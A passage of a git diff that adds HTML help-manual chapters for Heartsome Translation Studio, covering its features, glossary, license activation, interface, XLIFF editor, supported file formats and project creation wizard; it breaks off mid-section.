      Settings can be adjusted to automatically perform certain QA + checks on completed or approved translations, or to manually go + through single or multiple QA checks. This feature caters for users + whose needs and roles may vary.

      +
    26. +
    27. +

      RTF external proofreading support

      + +

      It is now possible to export XLIFF content to RTF files for + external proofreading and then import the updates back into the + XLIFF.

      +
    28. +
    29. +

      Locking repetitions and translation propagation with + one-click.

      + +

      Intelligently identifies and automatically locks repeated text + segments with one-click while keeping the first occurrence unlocked. + This eliminates the need for manual selection and avoids mistakes that + can otherwise be caused by manual operation.Upon completion of + translation, locked segments can be unlocked at any time and the + propagation function can be used to apply the translation to all + repetitions.

      +
    30. +
    31. +

      Detailed Word Count Statistics

      + +

      Statistics can be provided based on text segments or word count, + including internal and external repetitions, fuzzy matches and + equivalent word counts. The data is categorized and clearly displayed, + which facilitates assigning a project based on workload.

      +
    32. +
    33. +

      License management

      + +

      Activation and deactivation of licenses can be performed without + external help. This is highly convenient for users who need to + frequently use different computers (e.g., home desktop or work laptop) + with just one license.

      +
    34. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch02.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch02.html new file mode 100644 index 0000000..843adf1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch02.html @@ -0,0 +1,174 @@ + + + +Conventions and Glossary + + + + + + + +
    +

    +Conventions and Glossary

    + + +
      +
    1. +

      Conventions

      + +

      Below are the text styles used in this Help manual:

      + +
        +
      • +

        Button

        +
      • +
      • +

        Icon

        +
      • +
      • +

        Text labels

        +
      • +
      • +

        Menu

        +
      • +
      • +

        Menu items

        +
      • +
      • +

        Submenu

        +
      • +
      • +

        Dialog title

        +
      • +
      • +

        Key name

        +
      • +
      • +

        Emphasis

        +
      • +
      • +

        “Quoteâ€

        +
      • +
      • +

        File Types

        +
      • +
      +
    2. +
    3. +

      Glossary

      + +

      Terms and acronyms used in the Help manual:

      +
    4. +
    + +
    +

    +Glossary

    +
    +
    HSTS
    +

    Abbreviation of Heartsome Translation Studio.

    +
    CAT
    +

    Abbreviation of Computer-Assisted Translation, or + Computer-Aided Translation.Heartsome Translation Studio is an + example of a CAT tool.

    +
    Project
    +

    A translation assignment that involves phased work, or a + series of relevant translation assignments are referred to as a + project in Heartsome Translation Studio.A project consists of at + least three elements, namely: an input (source file), an + intermediate working file (XLIFF) and an output (target file). + There might be auxiliary elements such as a translation memory + (TMX file), a termbase (TBX file) and reports (word count + statistics).

    +
    Source File
    +

    In a translation project, the source file contains the + content to be translated, and is written in the source language. + The content of the source file is translated into one or more + target languages throughout the project.

    +
    XLIFF Files
    +

    This is a bilingual file in an open standard localisation + file format. It is the major file format used in Heartsome + Translation Studio and all source files are converted to XLIFF + files.Apart from source content, XLIFF files also contain the + complete translation workflow data, which includes the processing + status of translated text and text segments. This is the output as + translation results and are converted as a target file upon + completion of a project.

    +
    Target file
    +

    Once the source file has been translated, the target file is + created by converting the bilingual file back into the source file + format, but with translated text instead of the source + text.

    +
    Translation memory
    +

    A database where source text and the respective translations + are saved. This is abbreviated as TM.

    +
    Termbase
    +

    A database where source terminology and the respective + translations are saved.

    +
    Databases
    +

    The collective term for both translation memory and + termbases.

    +
    Database Server
    +

    A separate hardware/software platform that runs a database + system such as MySQL, PostgreSQL, Oracle, Microsoft SQL Server. + This can be used by HSTS to create TM and termbase + databases.

    +
    TMX files
    +

    A translation memory exchange file based on the TMX open + standard. When TM segments and their respective translations are + exported to a TMX file, it is possible to import the TM and then + use it across different CAT tools.

    +
    TBX files
    +

    A termbase exchange file based on the TBX open standard. + When termbase terms and their respective translations are exported + to a TBX file, it is possible to import the termbase and then use + it across different CAT tools.

    +
    Segment
    +

    A translation unit in an XLIFF file, consisting of the + source text (e.g., a sentence), the translation (can be empty), + notes and the relevant status (draft, translated, etc.). A source + or target text segment is usually a complete sentence, but can be + several sentences or table cell, etc.

    +
    Match rate
    +

    The similarity of two text segments measured by a percentage + between 0% and 101%.

    +
    Match
    +

    A text segment in the TM, satisfying specific match rate + criteria. Attributes of a match include the source text, the + translation, match rate, date created, etc.

    +
    Exact Matches
    +

    A 100% match.

    +
    Context Matches
    +

    A match where the context (usually based on the previous and + following sentence) also matches, on top of a perfect match (100% + match) of the text segment itself. A context match is defined as a + 101% match.

    +
    Pre-translate
    +

    Automatic translation utilising matches found in the TM. It + is usually performed prior to manual translation by the + translator.Although lower match rates can be specified, + pre-translation is usually used to apply 100% and 101% matches + from the TM.

    +
    Fuzzy match
    +

    A match at a lower rate than 100% (not including + 100%).

    +
    Internal + Repetitions
    +

    A text segment which is repeated two or more times within + one project (within one file or across multiple files).

    +
    Exact Match + Segments
    +

    A text segment that has a 100% match in the TM.

    +
    Context Match + Segments
    +

    A text segment that has a context match (101% match) in the + TM.

    +
    Fuzzy Match + Segments
    +

    A text segment that has a fuzzy match in the TM.

    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch03.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch03.html new file mode 100644 index 0000000..ed2a7ce --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch03.html @@ -0,0 +1,445 @@ + + + +License + + + + + + + +
    +

    +License

    + + +

    Procedures for purchasing and using a Heartsome Translation Studio + license include the following:

    + +
      +
    1. +

      Overview of the overall process

      + +

      Users should follow one of these two license procedures + depending on whether it has been newly purchased or not:

      + +
        +
      1. +

        New purchase

        + +

        This is the procedure for all users who have purchased a + license for the first time. Please see the chart below for + details.

        + +
        +

        Figure 1. Flow chart for a newly purchased license

        +
        + + +
        Flow chart for a newly purchased license
        +
        +
        +
        +
      2. +
      3. +

        Reactivation

        + +

        For users who want to re-install their operating system or + use Heartsome Translation Studio on a different computer, the + following flow chart shows the steps to be followed in order to + reactivate their license.

        + +
        +

        Figure 2. Flow chart for reactivating a license due to + re-installation or change of computer

        +
        + + +
        Flow chart for reactivating a license due to re-installation or change of computer
        +
        +
        +
        +
      4. +
      +
    2. +
    3. +

      How to purchase

      + +

      Translation Studio R8 licenses can be purchased online at the + official Heartsome website by following these steps:

      + +
        +
      1. +

        Go to www.heartsome.net + and click the Buy Now button.

        +
      2. +
      3. +

        Enter your name, e-mail, and other optional + information.

        +
      4. +
      5. +

        Choose the product, version and type you want to buy, and + then enter the quantity you want to buy.

        +
      6. +
      7. +

        Click Submit Button. when you + confirm the order information is correct, click Via + Paypal button and press corresponding prompt for + payment.

        +
      8. +
      9. +

        After successful payment, Heartsome will automatically send + the license to the email address you have provided.

        +
      10. +
      +
    4. +
    5. +

      Activate license

      +
      +

      Note

      +

      If you are a Windows Vista/7/8 user, right-click + “Heartsome Translation Studio.exe†or its shortcut, + choose to Run as administrator, and + enter your username and password when prompted to. You + must do this to properly activate your license.

      + +
      +

      Figure 3. Run as administrator

      +
      + + +
      +
      Run as administrator
      +
      +
      +
      +
      + +
      +

      Figure 4. Make sure to run as administrator

      +
      + + +
      +
      Make sure to run as administrator
      +
      +
      +
      +
      +
      + +

      If there is no activated license found for HSTS, or if the + activated license has expired, the EULA User License Agreement and + License Management dialog will pop up + when HSTS is run. To change a Trial license that has not yet expired + to a Commercial license, you must first deactivate the Trial + license.

      + +
      +

      Figure 5. Activation

      +
      + + +
      +
      Activation
      +
      +
      +
      +
      + +

      To immediately start using the software, we recommende you + activate the software through online activation which is full + self-service operation without any manual review or processing, and + can be completed within a few minutes. For offline activation which + only apply to commercial license, One working day may required to + complete due to manual processing.

      + +

      I. Online Activation:

      + +
        +
      1. +

        In the License Management + dialog, copy the license number from the email and paste it into + the first text field.

        + +
        +

        Figure 6. Enter serial number

        +
        + + +
        +
        Enter serial number
        +
        +
        +
        +
        +
      2. +
      3. +

        Check that you are connected to the Internet. If you connect + to Internet through a proxy server, click Network + Connections button to open the setting interface as + follows:

        + +
        +

        Figure 7. Options: Network Connections

        +
        + + +
        +
        Options: Network Connections
        +
        +
        +
        +
        + +

        Set up a proxy server according to your actual + situation:

        + +
          +
        • +

          If a proxy server has been configured in your operating + system, Please select it as + “Nativeâ€.

          +
        • +
        • +

          If you want to set up a proxy server specifically for + HSTS, Please select “Manualâ€ï¼Œthen + double-click proxy server type (HTTP, + HTTPS or SOCKS) for configuration in + proxy server list, then enter the proxy + server's host address, + port and optional + username and password + depend on whether your proxy server + requires authentication.

          + +
          +

          Figure 8. Options: Network Connections – Manual

          +
          + + +
          +
          Options: Network Connections – Manual
          +
          +
          +
          +
          + +

          In addition, you can add some exceptional host address, + to which you access directly without proxy server, for custom + proxy. The exceptional circumstances usually apply to the + local host (localhost, 127.0.0.1) and local area network + (192.168. *. *) address.

          + +
          +

          Figure 9. Options: Network Connection - Bypass host + address

          +
          + + +
          +
          Options: Network Connection - Bypass host address
          +
          +
          +
          +
          +
        • +
        • +

          If you want to disable the proxy server, Please select + the configuration for direct + connection.

          +
        • +
        + +

        After configured a proxy server, click + theOK button to return to the + License Managementdialog + box.

        +
      4. +
      5. +

        Click the Activate button.

        + +
        +

        Figure 10. Activate your license via Internet

        +
        + + +
        +
        Activate your license via Internet
        +
        +
        +
        +
        +
      6. +
      7. +

        If no exceptions occurred, you will be prompted to activate + your license successfully. When you re-open the + License Management dialog box, the + license status has changed to be + activated.

        +
      8. +
      + +

      II. Offline activation

      + +

      Before perform the offline activation, make sure you have + purchased a commercial license instead of trial license. Take the + following four steps to complete the offline activation:

      + +
        +
      1. +

        Enter serial number

        + +

        Enter commercial license serial number + you have purchased as shown in the following figure. Click + Next button.

        + +
        +

        Figure 11. Offline activation: enter serial number

        +
        + + +
        +
        Offline activation: enter serial number
        +
        +
        +
        +
        +
      2. +
      3. +

        Obtain the activation code

        + +

        The following figure shows the activation code generated by + the software. You need to copy it to the e-mail or a text file, + then send it to . The rest + leaves to Heartsome. After this, you can exit from the + software.

        + +
        +

        Figure 12. Offline activation: Obtain the activation code

        +
        + + +
        +
        Offline activation: Obtain the activation code
        +
        +
        +
        +
        +
      4. +
      5. +

        Obtain an license file

        + +

        Once received your activation code, Heartsome will send you + license file (the file name is "your serial + number.lic") as an attachment to your e-mail address. When + you get the email sent by Heartsome, you can save the license file + to your local hard disk, and then repeat the above two steps, and + click the Next button on the + interface.

        + +

        If you want to activate multiple licenses one-time through + offline activation, you can put all activation codes in Excel file + (.xls) starting from very first column of + Excel spreadsheet, each line only put one activation + code. To facilitate the identification and management + of multiple licenses, you can add more information, such as serial + number, user name or computer name, in the second and third + column, but only the activation code in the first column is + required.

        +
      6. +
      7. +

        To complete the activation

        + +

        Click Browse button and select + received .lic file, then click + Activate button.

        + +
        +

        Figure 13. Offline activation: complete the activation

        +
        + + +
        +
        Offline activation: complete the activation
        +
        +
        +
        +
        + +

        if no exception happens, it will prompt that the software + has been successfully activated.

        +
      8. +
      +
    6. +
    7. +

      Deactivating a license

      + +

      You need to first deactivate your license in one of the + following situations:

      + +
        +
      • +

        You want to change the current “Trial license†+ to a purchased “Commercial licenseâ€.

        +
      • +
      • +

        You want to reinstall your operating system.

        +
      • +
      • +

        You want to move the current license to a different + computer.

        +
      • +
      + +

      Follow these steps to deactivate your license:

      + +
        +
      1. +

        Run HSTS (Windows Vista/7/8 users still need to run it as + administrator), click on the Help menu > + License Management;

        + +
        +

        Figure 14. License management

        +
        + + +
        +
        License management
        +
        +
        +
        +
        +
      2. +
      3. +

        Make sure to connect the network. To set up a proxy server, + please refer to the previous section;

        +
      4. +
      5. +

        After License Status, click the + Deactivate button and confirm.

        + +
        +

        Figure 15. Check for deactivation

        +
        + + +
        +
        Check for deactivation
        +
        +
        +
        +
        +
      6. +
      7. +

        Once the operation has finished, the software will + automatically restart. After it has restarted, the + License Status changes to No License.

        +
      8. +
      +
    8. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch04.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch04.html new file mode 100644 index 0000000..21a9d61 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch04.html @@ -0,0 +1,186 @@ + + + +Overview of the interfaces + + + + + + + +
    +

    +Overview of the interfaces

    + + +
    +

    +1. Main interface

    + + +

    Heartsome Translation Studio's main interface is shown + below:

    + +
    +

    Figure 16. Heartsome Translation Studio's main interface

    +
    + + +
    +
    Heartsome Translation Studio's main interface
    +
    +
    +
    +
    + +

    HSTS's interface is divided into the following sections:

    + +
      +
    1. +

      Main menu

      + +

      This is where you can access all features and commands.

      + +
      +

      Figure 17. Main menu

      +
      + + +
      +
      Main menu
      +
      +
      +
      +
      +
    2. +
    3. +

      Toolbar

      + +

      The toolbar provides most of + the common commands. When you put the mouse over each icon, you can + see its corresponding function and shortcut keys.

      + +
      +

      Figure 18. Toolbar

      +
      + + +
      +
      Toolbar
      +
      +
      +
      +
      +
    4. +
    5. +

      View

      + +

      Different views offer different + features. See the next section for + details.

      +
    6. +
    7. +

      XLIFF Editor

      + +

      All text entry and editing is done in the XLIFF + editor. See Section 3, “XLIFF Editor†for + details.

      +
    8. +
    9. +

      Status Bar

      + +

      Status Bar Shows the basic + information about current file and text segment, as well as progress + on file handling. If task is being executed in the background, the + status bar will also display corresponding progress + information.

      +
      +

      Figure 19. Status Bar

      +
      + + +
      +
      Status Bar
      +
      +
      +
      +


      For the content cannot be displayed completely due to the + limited screen area, you can put the mouse over it for + tooltip.

      + +
      +

      Figure 20. Status bar tooltip

      +
      + + +
      +
      Status bar tooltip
      +
      +
      +
      +
      + +
        +
      • +

        Current file

        + +

        This is the XLIFF file currently open in the editor, shown + as a path, where the first level of the directory is the + project.

        +
      • +
      • +

        No.

        + +

        Ordinal number of each text segment

        +
      • +
      • +

        Visible segments

        + +

        The number of text segments displayed after filtering + based on the “text segment filter ruleâ€

        +
      • +
      • +

        Totals

        + +

        Total number of text segments in the currently open XLIFF + file(s). If it is an individual XLIFF file, this is the number + of text segments contained in that XLIFF file; if multiple XLIFF + files have been opened as a file set, then this is the total + number of text segments contained in all of the XLIFF files + combined.

        +
      • +
      • +

        Username

        + +

        This is the Username set in + Tools menu > + Options > + System, and will display by default the + same username that was used to log in to the operating + system.

        +
      • +
      • +

        Translation Progress

        + +

        The percentage of text segments with the status + “Translatedâ€, relative to the total number of text + segments

        +
      • +
      • +

        Approval Progress

        + +

        The percentage of text segments with the status + “Approved†and “Signed-offâ€, relative + to the total number of text segments.

        +
      • +
      +
    10. +
    +
    + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch04s02.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch04s02.html new file mode 100644 index 0000000..0606f99 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch04s02.html @@ -0,0 +1,186 @@ + + + +2. View + + + + + + + +
    +

    +2. View

    + + +

    Windows and viewers in HSTS can be displayed like a normal + floating dialog box. Users can also dock or tile them in the main + interface, change their size and position, maximise or minimise them, or + stack them on top of each other. There are many different ways windows + can be displayed so users can customize their own interface + layout.

    + +

    Windows also have such features as toolbars, right-click context + menus and status menus, making it easier for users to use common + features.

    + +
    +

    +Learn about the different window components

    + + +

    The view window components currently provided by HSTS include + Project, Translation Memory, Terms, QA Check Results and an XLIFF + editor, which is similar to a view. These are detailed below.

    + +
    +

    +Project

    + + +

    The Project window provides + features for managing projects, project folders and files. These + features are mainly performed using drag-and-drop and with + right-click menus.

    + +
    +

    Figure 21. Project

    +
    + + +
    +
    Project
    +
    +
    +
    +
    +
    + +
    +

    +Translation Memory

    + + +

    Translation Memory View used to + display current segment’s matches obtaining from translation memory + automatically, as well as the matches of rapid translation and + machine translation. You can apply these matches directly to the + target.

    + +
    +

    Figure 22. Translation Memory

    +
    + + +
    +
    Translation Memory
    +
    +
    +
    +
    +
    + +
    +

    +Termbase

    + + +

    Termbase view automatically + display current segment’s all term matches obtaining from termbase. + These term matches can be easily inserted into the target.

    + +
    +

    Figure 23. Termbase

    +
    + + +
    +
    Termbase
    +
    +
    +
    +
    + +
    +

    Tip

    +

    Go to Tools menu > + Options > + System to set font for TM and Termbase + matches.

    +
    +
    + +
    +

    +QA Results

    + + +

    QA Results view lists all QA + results. You can click any link to go to the potentially erroneous + segment.

    + +
    +

    Figure 24. QA Results

    +
    + + +
    +
    QA Results
    +
    +
    +
    +
    +
    +
    + +
    +

    +Using windows

    + + +
    +

    +Display/hide windows

    + + +

    Select/deselect windows in the View menu to display/hide them. + From the View menu, you can also display/hide the toolbar and status + bar.

    + +

    For a window that is already displayed, you can also close it + (i.e. hide it) by clicking the button to the right of the window title.

    +
    + +
    +

    +Change window size

    + + +

    Place the cursor on the window border. When the cursor turns + into or , press the left mouse button and drag. Now + you can change the width or height of the window.

    +
    + +
    +

    +Minimise or maximise windows

    + + +

    By clicking the button in the upper right corner of the + window you can minimise or maximise it. You can also switch between + maximised and regular size by double-clicking the title bar.

    +
    + +
    +

    +Change window position

    + + +

    On the window title bar, click the left mouse button and drag + to a different position. A dotted line frame appears indicating the + new position of the window.

    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch04s03.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch04s03.html new file mode 100644 index 0000000..0e7f639 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch04s03.html @@ -0,0 +1,147 @@ + + + +3. XLIFF Editor + + + + + + + +
    +

    +3. XLIFF Editor

    + + +

    The XLIFF editor is the most common + UI component in HSTS, and all operations to source and target text are + performed in this editor.

    + +

    Operations such as changing the editor size, maximising or + minimising the editor, and dragging it to a different position are + similar to the operations with other windows. For more details, please + see above section.

    + +
    +

    Figure 25. XLIFF Editor

    +
    + + +
    +
    XLIFF Editor
    +
    +
    +
    +
    + +

    Have two layout, the above picture is the horizontal + layout , and the following picture is the vertical + layout . You can switch between the two layout.

    + +
    +

    Figure 26. XLIFF editor: vertical layout

    +
    + + +
    +
    XLIFF editor: vertical layout
    +
    +
    +
    +
    + +

    You can sort segments on source, target etc. by clicking XLIFF + editor column top. There are four possible icons in the Status column, + indicating:

    + +
      +
    • +

      Segment Status

      + +

      There are six progress status of the segment in the + translation process, indicating:

      + +
        +
      • +

        Untranslated

        + +

        The default status is when there no translation has been + entered.

        +
      • +
      • +

        Draft

        + +

        The default status after a translation has been added or + edited.

        +
      • +
      • +

        Translated

        + +

        The status after the Confirm + Translation operation has been performed. The + segment will be saved in the memory after this operation. This + operation is usually performed by the translator.

        +
      • +
      • +

        Approved

        + +

        The status after the Approved + operation has been performed. The segment will be saved in the + memory after this operation. This operation is usually performed + by the person who edits/proofreads the translation.

        +
      • +
      • +

        Signed-off

        + +

        The status after the Signed-off + operation has been performed. This indicates that the + translation of the segment has been approved and + finalized.

        +
      • +
      • +

        Locked

        + +

        The status following locking + segments. Locking segments can prevent accidental + modification to the contents, such as segments that do not + require translating. When a segment is locked, it is temporarily + impossible to see its progress status before it is locked. Once + the segment is unlocked, it will automatically return to that + status.

        +
      • +
      +
    • +
    • +

      Not Sent to TM

      + +

      The status after a segment is flagged as Not Sent + to TM. All segments are added to the TM by default, so + you can use this flag to prevent certain text from being added to + the TM.

      +
    • +
    • +

      Pending

      + +

      The status after a segment is flagged as + Pending. This flag can be used when in + doubt about the source or translated text in a particular segment + and need further clarification. These flags make it easier to filter + and deal with these segments at a later stage.

      +
    • +
    • +

      Segments with Comments

      + +

      A segment with comments is + displayed with this icon.

      +
    • +
    + +
    +

    Tip

    +

    Go toTools menu > + Options > + System to set font for editor.

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch05.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05.html new file mode 100644 index 0000000..ba70ec2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05.html @@ -0,0 +1,321 @@ + + + +Workflow + + + + + + + +
    +

    +Workflow

    + + +

    The Heartsome Translation Studio translation workflow is as + follows:

    + +
    +

    Figure 27. Translation Workflow for Heartsome Translation Studio + Projects

    +
    + + +
    Translation Workflow for Heartsome Translation Studio Projects
    +
    +
    +
    + +
    +

    +1. Project Preparation

    + + +

    Before starting work on a translation project using Heartsome + Translation Studio, users need to complete some preparation work outside + HSTS as described below.

    + +
    +

    +Source File

    + + +

    In a translation project, the source file to be translated + usually comes in particular defined style settings, such as font, + size, colour, and paragraph layout, etc. When a CAT tool is used to + process such files, it needs to extract the specific text that + requires translation so that the translator will be able to focus on + the text without being distracted by the style settings.

    + +

    Clients typically provide one of these two types of files: an + original source file that has not been converted, or one that has been + converted from a source file into a bilingual document. If their of + the latter type, they need to be in SDL Trados, Déjà Vu, Wordfast Pro + and MemoQ bilingual file formats.

    + +

    Heartsome Translation Studio supports source files in the + following formats:

    + +
      +
    • +

      .docx, .xlsx, + .pptx

      + +

      Microsoft Office files

      +
    • +
    • +

      .docx, .xlsx, + .pptx

      + +

      Microsoft Office 97--2004 files

      +
    • +
    • +

      .html, .htm

      + +

      Web files

      +
    • +
    • +

      .idml

      + +

      Adobe InDesign tags

      +
    • +
    • +

      .inx

      + +

      Adobe InDesign interchange files

      +
    • +
    • +

      .js

      + +

      JavaScript scripts

      +
    • +
    • +

      .mif

      + +

      Adobe FrameMaker interchange format

      +
    • +
    • +

      .odt, .ods, .odp, + .odg

      + +

      OpenOffice files

      +
    • +
    • +

      .po

      + +

      GNU gettext portable objects

      +
    • +
    • +

      .properties

      + +

      Java resource files

      +
    • +
    • +

      .rc

      + +

      Windows C/C++ resource files

      +
    • +
    • +

      .resx

      + +

      Windows .NET resource files

      +
    • +
    • +

      .rtf

      + +

      Rich Text Format

      +
    • +
    • +

      .rtf

      + +

      SDL Trados bilingual RTF files

      +
    • +
    • +

      .txt

      + +

      Text files

      +
    • +
    • +

      .xml

      + +

      XML files

      +
    • +
    + +

    HSTS supports the following bilingual file formats:

    + +
      +
    • +

      .mqxlz

      + +

      MemoQ 6.x files

      +
    • +
    • +

      .sdlxliff

      + +

      SDL Trados XLIFF files

      +
    • +
    • +

      .ttx

      + +

      SDL Trados TagEditor TRADOStag bilingual files

      +
    • +
    • +

      .txml

      + +

      Wordfast Pro TXML bilingual file

      +
    • +
    • +

      .xlf

      + +

      Déjà Vu XLIFF files

      +
    • +
    + +

    HSTS can also directly open the following file formats:

    + +
      +
    • +

      .hsxliff

      + +

      Heartsome Translation Studio R8 XLIFF files

      +
    • +
    • +

      .xlf, .xliff

      + +

      Standard XLIFF files

      + +
      +

      Note

      +

      If the XLIFF file was not generated by HSTS R8, some + features of HSTS R8 may not be available. It is recommended that + HSTS be used to open only XLIFF files (with + .hsxliff extension) that were created with the same + version of the program.

      +
      +
    • +
    + +

    If your source file is in none of the formats listed above, you + may need to convert it first or process the files manually before + beginning to translate with HSTS. For any project, you will need + source files in any one or any combination of the formats listed + above, and source files in their original formats are + recommended over bilingual files.

    + +

    When there is a large number of source files within a particular + directory structure, users do not have to manually move files or + change the save path. HSTS is able to process such source files so + that the fixed directory structure is maintained. Convenient batch + operations are also available.

    +
    + +
    +

    +TMX files

    + + +
    +

    Tip

    +

    Optional

    +
    + +

    If you have or are provided with a TMX file, it must be properly + prepared prior to creating a project so that the file can be imported + to the translation memory of the new project. TMX files imported into + HSTS should be encoded in UTF-8 in order for them to be recognised + correctly.

    +
    + +
    +

    +TBX files

    + + +
    +

    Tip

    +

    Optional

    +
    + +

    If you have or are provided with a TBX file, it must be properly + prepared prior to creating a project so that the file can be imported + to the termbase of the new project.TMX files imported into HSTS should + be encoded in UTF-8 in order for them to be recognised + correctly.

    +
    + +
    +

    +Database Server

    + + +
    +

    Tip

    +

    Optional

    +
    + +

    HSTS Personal and higher editions provide a built-in file based + database that can be used to create translation memories and + termbases, while Professional and Ultimate editions provide additional + support for external databases.Using an external database server not + only brings a better database experience but also enables teamwork and + collaboration by allowing all team members to share TMs and termbases + over the network.

    + +

    HSTS currently support four types of external database + server:

    + +
      +
    • +

      MySQL

      + +

      Free, open source, and cross-platform, supports Windows, Mac + OS, and Linux. Website: www.mysql.com

      +
    • +
    • +

      PostgreSQL

      + +

      Free, open source, and cross-platform, supports Windows, Mac + OS, and Linux. Website: www.postgresql.org

      +
    • +
    • +

      Microsoft SQL Server

      + +

      Business software, supports Windows only. Website: www.microsoft.com/sqlserver

      +
    • +
    • +

      Oracle

      + +

      Business software, supports Windows and Linux. Website: + www.oracle.com

      +
    • +
    + +

    To use any of these external databases in HSTS for TMs or + termbases, users must first download and install the respective + database server software (native or specified server) on their + computers, and then create a database user with the authority to + create a database. A password should also be created for this user. + Please refer to official documents provided by the websites listed + above for detailed steps on installation and configuration.

    + +

    Apart from installing and configuring one of these databases as + a TM or termbase server, you may also choose to use cloud databases, + such as Amazon RDS or ClearDB. Please visit the respective website for + details about these products.

    +
    +
    + + + + + + + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s02.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s02.html new file mode 100644 index 0000000..605c1fb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s02.html @@ -0,0 +1,411 @@ + + + +2. Creating projects + + + + + + + +
    +

    +2. Creating projects

    + + +

    HSTS provides an easy-to-use wizard to guide users in creating + projects. From the File menu or the + Project view 's context + menu, click New > + Project and the + New Project will be opened.

    + +
    +

    Figure 28. Create a project from Main menu

    +
    + + +
    +
    Create a project from Main menu
    +
    +
    +
    +
    + +
    +

    Figure 29. Create a project from Toolbar

    +
    + + +
    +
    Create a project from Toolbar
    +
    +
    +
    +
    + +
    +

    Figure 30. Create a project from Context menu

    +
    + + +
    +
    Create a project from Context menu
    +
    +
    +
    +
    + +
    +

    Tip

    +

    All information in the New Project can be modified or added + after the project is created. Therefore, you will always have the + chance to change a setting later if you skip any step.

    +
    + +

    The entire New Project involves five steps as follows:

    + +
    +

    +Project Information

    + + +
    +

    Figure 31. Create new project: project information

    +
    + + +
    +
    Create new project: project information
    +
    +
    +
    +
    + +

    By default, the name you enter in Project + Name will be used as the project's basic information.If you + need to specify additional properties for the project, you can click + the Options button and add custom attribute + information to the project:

    + +
      +
    • +

      Text Field

      + +

      Specify the field name.

      +
    • +
    • +

      Attribute Field

      + +

      Set the field name, and specify its value.

      +
    • +
    + +
    +

    Figure 32. Options: Project Properties

    +
    + + +
    +
    Options: Project Properties
    +
    +
    +
    +
    + +

    Custom project properties added to the project information will + be saved to the translation memory as additional information for each + segment.

    +
    + +
    +

    +Language Pairs

    + + +
    +

    Figure 33. Create new project: language pairs

    +
    + + +
    +
    Create new project: language pairs
    +
    +
    +
    +
    + +

    The languages that you will be translating from and to, namely, + the:

    + +
      +
    • +

      Source Language

      +
    • +
    • +

      Target Languages

      +
    • +
    + +

    While source language can only be one + language there can be multiple target languages. + If the source language or target + language of your project is not included in the list you + can go to Tools menu > + Options > Language + Management and add it.

    + +
    +

    Figure 34. Options: Language Management

    +
    + + +
    +
    Options: Language Management
    +
    +
    +
    +
    +
    + +
    +

    +Translation Memory

    + + +
    +

    Tip

    +

    You can skip this step if you want to create a project + quickly.

    +
    + +

    To specify the TMs to be used by the project, you can:

    + +
    +

    Figure 35. Create new project: TM

    +
    + + +
    +
    Create new project: TM
    +
    +
    +
    +
    + +
      +
    • +

      Add

      + +

      Add an existing TM

      +
    • +
    • +

      Create

      + +

      Open New Translation Memory Wizard and create a new TMFor + specific steps, see belowthe section called “New Translation Memory Wizardâ€.

      +
    • +
    • +

      Remove

      + +

      This will remove the selected TM from the current project + without deleting the actual TM or any data within it.This + operation simply means that this TM is not to be used in this + project.

      +
    • +
    • +

      Import TMX

      + +

      Import a TMX file into the selected TM.

      +
    • +
    • +

      Set as the default Termbase

      + +

      By default, the first TM added to the project will be + automatically set as the default TM (i.e. read-write). Any others + will be read-only.When multiple TMs are added, you can use the + Default check boxes in the TM list to choose one of them as the + default TM.

      +
    • +
    +
    + +
    +

    +Termbase

    + + +
    +

    Note

    +

    This step is optional.

    +
    + +
    +

    Figure 36. Create new project: Termbase

    +
    + + +
    +
    Create new project: Termbase
    +
    +
    +
    +
    + +

    Similar to the TM step, this step is used to specify and manage + the termbases to be used for the project:

    + +
      +
    • +

      Add

      + +

      Add an existing termbase

      +
    • +
    • +

      Create

      + +

      Open New Termbase Wizard and create a new termbase.For + specific steps, see belowthe section called “Termbaseâ€.

      +
    • +
    • +

      Remove

      + +

      This will remove the selected termbase from the current + project without deleting the actual termbase or any data within + it.This operation simply means that this termbase is not to be + used in this project.

      +
    • +
    • +

      Import TBX

      + +

      Import a TBX file into the selected termbase.

      +
    • +
    • +

      Set as the default Termbase

      + +

      By default, the first termbase added to the project will be + automatically set as the default termbase (i.e. read-write). Any + others will be read-only.When multiple termbases are added, you + can use the Default check boxes in the termbase list to choose one + of them as the default termbase.

      +
    • +
    +
    + +
    +

    +Source File

    + + +
    +

    Note

    +

    This step is optional.

    +
    + +
    +

    Figure 37. Create new project: Add source files

    +
    + + +
    +
    Create new project: Add source files
    +
    +
    +
    +
    + +

    The last step in creating a project is adding a source file or + files to the project. This is how:

    + +
      +
    • +

      Add

      + +

      Choose the source file and add it to the project.

      +
    • +
    • +

      Remove

      + +

      This will remove a source file from the project.

      +
    • +
    • +

      Convert Source Files to XLIFFs

      + +

      This will convert the source file to XLIFF once the project + has been created.

      +
    • +
    + +

    Source files added here are ones without a particular folder + structure. To add source files with a particular folder structure, + skip this step and add files to the project using drag-and-drop after + the project has been created. See details herethe section called “Add Source Filesâ€.

    + +

    When a new project is created, some predefined folders will be + automatically generated. What they do:

    + +
    +

    Figure 38. Project folders

    +
    + + +
    +
    Project folders
    +
    +
    +
    +
    + +
      +
    • +

      Intermediate

      + +

      This folder is where process documentation for project + processing is saved. These two sub-folders are created by + default:

      + +
        +
      • +

        Report

        + +

